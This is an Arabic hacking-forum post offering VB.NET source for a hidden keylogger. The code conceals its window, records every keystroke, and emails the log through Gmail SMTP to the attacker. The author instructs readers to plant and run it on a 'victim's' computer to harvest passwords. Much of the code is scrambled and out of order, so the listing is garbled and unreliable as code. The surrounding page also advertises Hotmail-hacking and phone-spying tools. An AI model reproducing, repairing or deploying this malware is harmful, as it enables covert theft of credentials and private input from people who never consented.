منتديات الكوبرا - Coobra.Net

|-| مركز رفع الصور والملفات |-|

|-| مدونة الكوبرا |-| متجر معدات التجسس |-| دليل المواقع |-| استضافة الكوبرا |-|

|-| مواقيت الصلاة |-| تحويل العملات |-| لوحة المفاتيح العربية |-| شاهد الأرض من الفضاء |-|

منتديات الكوبرا ترحب بمتابعينا من جميع الدول العربية

السعودية الجزائر مصر العراق الأردن المغرب فلسطين تونس الامارات قطر لبنان الكويت البحرين ليبيا موريطانيا عمان السودان سوريا اليمن

أهلا وسهلا

اصدار جديد : برنامج اختراق ايميل الهوتميل Grave HotMail v2.17 2017

آخر اصدار : برنامج التجسس على الجوال FlexiSPY - امكانيات متقدمة

تسجل الآن في اقوى دورة مدفوعة لاكتساب مهارات الهكر الاحترافي


أهلا بك في منتديات الكوبرا, نتشرف بزيارتك ويسرنا انضمامك الينا, نرجو ان تطلع على قوانين وشروط المنتدى قبل طرح اي مشاركة جديدة.

ملاحظة : تم اضافة أقسام جديدة, فبادرو بالمشاركة فيها وشكرا

ملاحظة مهمة : لتعديل مشاركتك يرجى استعمال متصفح جوجل كروم

Coobra.Net Coobra.Net الجمعية الخيرية لتحفيظ القرآن الكريم في منطقة الرياض
Coobra.Net Coobra.Net Coobra.Net Coobra.Net Coobra.Net


العودة   منتديات الكوبرا - Coobra.Net > منتديات الهكر و الاختراق > منتدى اختراق الأجهزة و الشبكات

منتدى اختراق الأجهزة و الشبكات منتدى هكر واختراق الاجهزة والشبكات

إنشاء موضوع جديد  إضافة رد
 
أدوات الموضوع إبحث في الموضوع
قديم 27th August 2016, 18:03   المشاركة رقم: 1
المعلومات
الكاتب:
Hacker007
اللقب:
عضو جديد

البيانات
التسجيل: May 2016
العضوية: 356
المشاركات: 41
بمعدل : 0.16 يوميا

الإتصالات
الحالة:
Hacker007 غير متواجد حالياً
وسائل الإتصال:

المنتدى : منتدى اختراق الأجهزة و الشبكات
افتراضي الكيلوجر سحب باسوردات الضحايا (vb.net)

بسم الله الرحمن الرحيم

الكيلوجر سحب باسوردات الضحايا (vb.net)

السلام عليكم
كيف الحال شباب انشاء الله تمام الصحه والعافيه يارب ...
موضوع اليوم مبين من العنوان سحب باسوردات الضحايا لي توجد في متصفحات الضحايا
طبعا طريقه ماعرف مطروحا سابقا ام لا لا اعلم حبيت افيد شباب

كود vb.net
تعمل كيلوجر من خلال الكود لي راح اوضع لكم

SMTP.Credentials = New System.Net.NetworkCredential("@gmail.com", "password")

هناا شباب كود يحتاج تضع اميل تبعك يكون شغال يمك gmail او yahoo
وتضع باسورد الاميل
===================================
SMTP.Port = "587"
هنااا يحتاج بورت لديك شغال لكي يصل تبليغ ليك
=====================================
عندما اكملت مشروع وعملت له حفظ build
تقوم برفع الكيلوجر في جهاز الضحيه وتعمل له run عندمل يشتغل يصل تبليغ على اميل تبعك لي وضعته
تلاقي رساله فيها جميع باسوردات
===============================

كود:

Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Public log As String
Me.Hide()
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Me.ShowInTaskbar = False
Me.ShowIcon = False
End Sub
Timer1.Start()
ElseIf (GetAsyncKeyState(67)) Then
If (GetAsyncKeyState(65)) Then log = log + "A"
ElseIf (GetAsyncKeyState(66)) Then
log = log + "B" log = log + "C"
ElseIf (GetAsyncKeyState(70)) Then
ElseIf (GetAsyncKeyState(68)) Then log = log + "D" ElseIf (GetAsyncKeyState(69)) Then log = log + "E" log = log + "F"
ElseIf (GetAsyncKeyState(73)) Then
ElseIf (GetAsyncKeyState(71)) Then log = log + "G" ElseIf (GetAsyncKeyState(72)) Then log = log + "H" log = log + "I" ElseIf (GetAsyncKeyState(74)) Then
log = log + "M"
log = log + "J" ElseIf (GetAsyncKeyState(75)) Then log = log + "K" ElseIf (GetAsyncKeyState(76)) Then log = log + "L" ElseIf (GetAsyncKeyState(77)) Then
ElseIf (GetAsyncKeyState(81)) Then
ElseIf (GetAsyncKeyState(78)) Then log = log + "N" ElseIf (GetAsyncKeyState(79)) Then log = log + "O" ElseIf (GetAsyncKeyState(80)) Then log = log + "P" log = log + "Q"
log = log + "U"
ElseIf (GetAsyncKeyState(82)) Then log = log + "R" ElseIf (GetAsyncKeyState(83)) Then log = log + "S" ElseIf (GetAsyncKeyState(84)) Then log = log + "T" ElseIf (GetAsyncKeyState(85)) Then
ElseIf (GetAsyncKeyState(90)) Then
ElseIf (GetAsyncKeyState(86)) Then log = log + "V" ElseIf (GetAsyncKeyState(87)) Then log = log + "W" ElseIf (GetAsyncKeyState(88)) Then log = log + "X" ElseIf (GetAsyncKeyState(89)) Then log = log + "Y"
log = log + "3"
log = log + "Z" ElseIf (GetAsyncKeyState(48)) Then log = log + "0" ElseIf (GetAsyncKeyState(49)) Then log = log + "1" ElseIf (GetAsyncKeyState(50)) Then log = log + "2" ElseIf (GetAsyncKeyState(51)) Then
ElseIf (GetAsyncKeyState(56)) Then
ElseIf (GetAsyncKeyState(52)) Then log = log + "4" ElseIf (GetAsyncKeyState(53)) Then log = log + "5" ElseIf (GetAsyncKeyState(54)) Then log = log + "6" ElseIf (GetAsyncKeyState(55)) Then log = log + "7" log = log + "8"
ElseIf (GetAsyncKeyState(99)) Then
ElseIf (GetAsyncKeyState(57)) Then log = log + "9" ElseIf (GetAsyncKeyState(96)) Then log = log + "{Num0}" ElseIf (GetAsyncKeyState(97)) Then log = log + "{Num1}" ElseIf (GetAsyncKeyState(98)) Then log = log + "{Num2}" log = log + "{Num3}"
log = log + "{Num8}"
ElseIf (GetAsyncKeyState(100)) Then log = log + "{Num4}" ElseIf (GetAsyncKeyState(101)) Then log = log + "{Num5}" ElseIf (GetAsyncKeyState(102)) Then log = log + "{Num6}" ElseIf (GetAsyncKeyState(103)) Then log = log + "{Num7}" ElseIf (GetAsyncKeyState(104)) Then
log = log + "{Num-}"
ElseIf (GetAsyncKeyState(105)) Then log = log + "{Num9}" ElseIf (GetAsyncKeyState(106)) Then log = log + "{Num*}" ElseIf (GetAsyncKeyState(107)) Then log = log + "{Num+}" ElseIf (GetAsyncKeyState(13)) Then log = log + "{Enter}" ElseIf (GetAsyncKeyState(109)) Then ElseIf (GetAsyncKeyState(110)) Then
log = log + "{Shift}"
log = log + "{Num.}" ElseIf (GetAsyncKeyState(111)) Then log = log + "{Num/}" ElseIf (GetAsyncKeyState(32)) Then log = log + " " ElseIf (GetAsyncKeyState(8)) Then log = log + "{Backspace}" ElseIf (GetAsyncKeyState(9)) Then log = log + "{Tab}" ElseIf (GetAsyncKeyState(16)) Then ElseIf (GetAsyncKeyState(17)) Then
ElseIf (GetAsyncKeyState(36)) Then
log = log + "{Control}" ElseIf (GetAsyncKeyState(20)) Then log = log + "{Caps}" ElseIf (GetAsyncKeyState(27)) Then log = log + "{Esc}" ElseIf (GetAsyncKeyState(33)) Then log = log + "{PGup}" ElseIf (GetAsyncKeyState(34)) Then log = log + "{PGdn}" ElseIf (GetAsyncKeyState(35)) Then log = log + "{End}" log = log + "{Home}"
log = log + "{Del}"
ElseIf (GetAsyncKeyState(37)) Then log = log + "{LArrow}" ElseIf (GetAsyncKeyState(38)) Then log = log + "{UArrow}" ElseIf (GetAsyncKeyState(39)) Then log = log + "{RArrow}" ElseIf (GetAsyncKeyState(40)) Then log = log + "{DArrow}" ElseIf (GetAsyncKeyState(45)) Then log = log + "{Insert}" ElseIf (GetAsyncKeyState(46)) Then ElseIf (GetAsyncKeyState(144)) Then
Dim Mail As New MailMessage
log = log + "{NumLock}" ElseIf (GetAsyncKeyState(188)) Then log = log + "{,}" ElseIf (GetAsyncKeyState(1)) Then log = log + "[L]" ElseIf (GetAsyncKeyState(2)) Then log = log + "[R]" End If End Sub Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing sendmail() End Sub Private Sub sendmail() Mail.Subject = "Keylog"
End Class
Mail.To.Add("@gmail.com") Mail.From = New MailAddress(".com") Mail.Body = log Dim SMTP As New SmtpClient(".com") SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential("@gmail.com", "password") SMTP.Port = "587" SMTP.Send(Mail)
End Sub

الكيلوجر سحب باسوردات الضحايا (vb.net) coobra.net

انشاء الله يعجبكم الموضوع
وارجع واقول لا اعلم موضوع مطروح سابقا ام لا حبيت افيد شباب
ولي مافهم طريقه بيقول واعمل له فيديو
الى هنااا انتهى الموضوع

الكيلوجر سحب باسوردات الضحايا (vb.net) coobra.net
في امان الله

 

الموضوع الأصلي : الكيلوجر سحب باسوردات الضحايا (vb.net)     -     المصدر : منتديات الكوبرا - Coobra.Net     -     الكاتب : Hacker007


عرض البوم صور Hacker007   رد مع اقتباس
إنشاء موضوع جديد  إضافة رد

مواقع النشر (المفضلة)

الكلمات الدلالية (Tags)
(vb.net) , الضحايا , الكيلوجر , باسوردات

أدوات الموضوع إبحث في الموضوع
إبحث في الموضوع:

البحث المتقدم

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

اعلانات نصية

# أفضل برنامج للتجسس على الجوال _-_ أقوى برنامج لاختراق بريد الهوتميل -_- منتديات الكوبرا - Forum Coobra _-_ استضافة الكوبرا المجانية -_- شاهد منزلك عبرالأقمار الصناعية _-_ برامج هكر مدفوعة -_- مواقيت الصلاة _-_ تحويل العملات -_- _-_ -_- _-_ -_- _-_ -_- _-_ -_- _-_ -_- _-_ -_- _-_ -_- _-_ -_- _-_ -_- _-_ -_- _-_ -_- _-_ -_- _-_ #


الساعة الآن 13:09


Coobra.Net

جميع الحقوق محفوظة لشبكة الكوبرا ®

google google images bing bing images yahoo yahoo images

Coobra.Net ©2017